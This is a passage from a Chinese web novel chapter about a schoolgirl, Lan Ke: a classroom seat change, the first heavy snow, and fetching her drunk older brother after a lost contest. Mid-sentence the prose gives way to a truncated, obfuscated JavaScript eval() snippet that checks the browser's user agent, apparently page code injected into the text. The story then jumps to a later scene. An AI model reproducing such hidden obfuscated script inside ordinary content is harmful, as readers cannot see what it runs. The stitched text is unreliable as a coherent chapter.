笑得脸疼,蓝柯隔着车窗拍了张照片发过去,【放心吧,快了。】 两人没再多聊,报备完,她捂着板栗袋暖手。 快入冬的天黑得快,往外看,灯一点点在往后倒,靠在椅背上,蓝柯均匀呼吸着,久违地感觉安稳。 怀里热烘烘的,她嘴角噙笑,心想,自己快要爱上这座城市了,这座让她伤心又让她安心的城市。 10. 大雪 “行了!收拾东西都快点,要上课了。” 老师催第三遍的时候,蓝柯快步把书搬到新换的位置上。 “柯柯,还有多少,我帮你搬。” “没事,你先回去吧。”压低声音,她往讲台上看了眼,随即让岑溪离开。 他们班是一考一换位,蓝柯上次能坐到前面是沾了岑溪的光,这次再排,她依旧是班里最后几个进去选位置的,只能坐最后一排门边。 把卷子找出来,蓝柯推了推眼镜往黑板上看,距离变远,视线好像模糊不少。 等下课,她揉了揉眼睛趴在桌子上,刚要睡觉,一双手把她脸捞起来,“走,柯柯,去接水。” “嗯?”反应两秒,蓝柯嗯了声,拿着水杯从凳子上起来。 并肩往水房走,岑溪见她一直打哈欠,揶揄道:“你怎么会这么困?” “可能是周一吧。”特意接了杯凉水,蓝柯喝了两口,去厕所洗脸提神。 “这周你有事吗,我跟齐天锡约好了,去城西新开的水族馆。” “不了吧。”含混摇了摇头,她解释,“还有一个多月就考试了,我想在家复习复习。”高一过完要重新分班,到时候就是按成绩分重点平行了,蓝柯想考好点。 “哎呀,复习嘛,不用,我到时候辅导你,而且我觉得你是太困了,上课都没好好听。” “没有吧……” 回位置上又喝了口水,蓝柯愣神往前面看,等回神,她重新找出卷子做了遍错题。 2014年第一场大雪姗姗来迟,是半夜下的,隔天五点多起床,门外积雪堆了厚厚一层。 往手心哈了口气,蓝柯刚要撑起伞,身旁突然多出一双手,“刚气象局发橙色预警了,公交车也要延迟,走过去算了。” 偏头看蓝羡之接过伞,她打了个哈欠摇头,“哥你回去睡觉吧,我自己过去就行。” “衣服都穿了,走吧。” 这边抄小道走拢共也要不了十分钟,一路,往学校汇的学生越来越多,蓝柯低头看着地面,观察自己踩出来的雪坑。 蓦地,蓝羡之出声,“你们什么时候放假?” “一月份吧。” “那应该还要几天,对了,最近在学校怎么样?”刚起来,蓝羡之声音也哑得不行。 “正常吧,一直倒数也算稳定?” “确实稳定。” 话落,蓝柯笑了下接话,“我以为你要安慰我两句。” “二中倒数好像也没多不光彩。” 这会已经看到校门口的影了,想了下蓝羡之的话,她点头,觉得在理。两人无声又往前走了一截,等到地方,蓝柯搓了搓脸站定,让他把伞拿回去。 “那你晚上怎么回去?” “我书包里还有一把。”岑溪粗线条老是忘带伞。 今天不用跑早操时间没那么敢,又跟蓝羡之讲了两句话,蓝柯转身跑进教学楼。 不知道是不是下雪的缘故,班里人比平时兴奋不少,连早读声都大很多,她背书不喜欢出声,一个人闷着头默写。 门外,林旭在一个个找学生谈话,已经找到岑溪了,“这次模拟考成绩怎么下滑这么厉害?” “我这次数学没发挥好。” “是没发挥好还是净跟同桌说话了?我监控看见你好几次。” “没。” “行了行了,这次换位既然把你们调开了,那就老实点好好听课。” 倏地,黑笔芯断了下,蓝柯换了支笔继续写。 不知道过了多久,身旁多了道黑影,看她有一会,林旭没忍住出声,“早读怎么不出声?” “我在默写。” “默写下课默就行,早上大声点。” 把书拿起来,蓝柯扯着嗓子背了会, 周末,她写完卷子出去喝水时,看到了岑溪齐天锡去水族馆发的动态,点了个赞,蓝柯放大突然看到陈倩芝。 反应两秒,想起来是岑溪新同桌,她又评论了两个表情包才放下手机往外看,蓝羡之这几天好像挺忙的,都没回来过。 十二月下雪的日子比想象中要多,雪下到第三轮时,蓝羡之已经七八天没回来了,有点担心,蓝柯一回家就翻出手机。 两人上次的聊天还停在三天前,他第二轮比赛时她发了句加油。 【你今天回家吗,我有卷子要签字。】胡诌了个借口发过去,等了会见没人回,蓝柯急急打电话过去。 第一个没接通。 第二个还没接通。 听着第三遍响起的铃声,她渐渐心焦起来,刚准备穿好衣服去青大找人,电话陡然接通。 “喂?” 听出声音不是蓝羡之,蓝柯弱弱回了句你好。 那边反应了几秒,听出是谁,随即朗声回应,“你是羡哥她妹吧,正好,他喝醉了,你赶紧过来把他弄回家。” “……好。”按着手机上发的地儿找过去,蓝柯咬唇在店门口认人,过了会,岳晨叫住他。 “妹,这!”把蓝羡之推过去,他抹了把鼻子数落,“行了,就因为个破比赛丧气,还躲你妹,真不至于。” 蓝柯这会也跑过来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道是窝房里的第几天,敲门声突然把他吵醒。 “哥,晚上了,你还不吃饭吗?”见他没接话,蓝柯连忙补了一句,“我给你留了馄饨,你要不要出来。” “嗯。”起身时没站稳晃了下,蓝羡之定住缓了几秒这才过去开门,“放假了?”